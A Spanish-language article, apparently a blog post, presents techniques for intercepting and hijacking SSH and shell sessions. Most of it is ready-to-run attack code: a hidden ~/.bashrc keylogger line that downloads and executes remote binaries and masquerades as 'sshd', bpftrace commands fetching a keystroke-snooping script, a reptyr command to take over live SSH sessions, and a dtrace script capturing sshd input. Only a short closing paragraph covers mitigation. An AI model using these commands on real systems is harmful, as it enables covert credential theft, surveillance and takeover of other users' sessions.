El mundo de la ciberseguridad enfrenta constantemente desafíos con respecto a la protección de las sesiones remotas, en particular cuando se trata de conexiones SSH y shell. A continuación, exploramos algunas técnicas utilizadas en ataques para interceptar, registrar y, en algunos casos, secuestrar sesiones activas, mostrando la importancia de implementar medidas de seguridad adecuadas.
Intercepción de sesiones de shell
Uno de los métodos más sencillos para captar las credenciales de un usuario es modificar su entorno de shell para registrar cada pulsación de tecla. Esto puede hacerse con un simple script añadido al archivo ~/.bashrc
del usuario objetivo. Con esta modificación, cada comando que introduzca el usuario, incluidas las contraseñas de sudo o SSH, será almacenado en un archivo oculto en su directorio de configuración.
Cómo funciona:
El atacante añade la siguiente línea al archivo ~/.bashrc
del usuario objetivo, que inicia un proceso para registrar las pulsaciones de teclas en segundo plano:
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& curl -o ~/.config/.pty/pty -fsSL "https://bin.ajam.dev/$(uname -m)/Baseutils/util-linux/script" \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec -a -bash '"$(command -v bash)"'" -I ~/.config/.pty/.@pty-unix.$$'
Este script habilita un entorno para registrar la sesión de shell del usuario, guardando las pulsaciones en un archivo oculto. Además, se puede combinar con herramientas como zapper para ocultar completamente los comandos en la lista de procesos del sistema.
Uso de eBPF para rastrear sesiones en Linux
En sistemas Linux más avanzados, como los que utilizan eBPF (Extended Berkeley Packet Filter), es posible monitorizar directamente el comportamiento de las sesiones SSH y bash en el nivel del kernel, permitiendo una captura profunda de las interacciones de un usuario con el sistema.
Monitorización con eBPF:
El uso de eBPF proporciona una forma eficiente de observar cada interacción dentro del sistema operativo. Para ello, se puede descargar una herramienta como bpftrace para observar todas las sesiones activas de bash o SSH:
curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace
chmod 755 bpftrace
curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt
./bpftrace -Bnone ptysnoop.bt
Con este script, el atacante podría observar en tiempo real cada pulsación de tecla de las sesiones de shell de los usuarios. Esto permite al atacante capturar contraseñas, comandos y cualquier otra interacción que ocurra en el sistema.
Secuestro de sesiones SSH activas
Además de la intercepción, una técnica aún más invasiva es el secuestro de sesiones activas de SSH. Herramientas como reptyr permiten al atacante tomar el control de una sesión SSH en ejecución sin que el usuario lo note.
Secuestro con reptyr:
El siguiente comando toma el control de una sesión SSH activa, permitiendo que el atacante continúe la sesión del usuario:
ps ax -o pid,ppid,cmd | grep 'ssh '
./reptyr -T <SSH PID>
Mediante este comando, el atacante puede continuar usando la sesión como si fuera el usuario legítimo, sin que este sea consciente de lo que ocurre en segundo plano.
Secuestro e intercepción en FreeBSD y Solaris
En entornos FreeBSD o Solaris, se pueden utilizar herramientas como dtrace, que permiten rastrear interacciones de procesos como sshd
. Con un simple script de dtrace, es posible registrar cada comando que el usuario introduzca en su terminal.
Monitoreo con dtrace:
El siguiente script en dtrace permite registrar todas las interacciones con procesos de SSH en sistemas FreeBSD:
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
Este script captura las entradas del sistema para cualquier proceso relacionado con sshd
, registrando cada comando o interacción en el sistema.
Conclusión
Las técnicas de sniffing y secuestro de sesiones, como las que se han descrito, subrayan la importancia de adoptar medidas de seguridad avanzadas en sistemas de misión crítica. Las herramientas que permiten la intercepción de sesiones, como zapper, bpftrace y dtrace, son ejemplos de cómo un atacante puede comprometer la privacidad de las comunicaciones en un entorno de red.
Para mitigar estas amenazas, es esencial implementar autenticación multifactor (MFA), utilizar cifrado fuerte en todas las conexiones y monitorear activamente los sistemas en busca de actividades sospechosas. La seguridad de las sesiones SSH y de shell no debe tomarse a la ligera, ya que estas conexiones suelen ser el punto de entrada para comprometer infraestructuras críticas.
IMPORTANTE: Recuerda utilizar esta información con responsabilidad y siempre que sepas como hacer uso de ella.
Fuente: GitHub.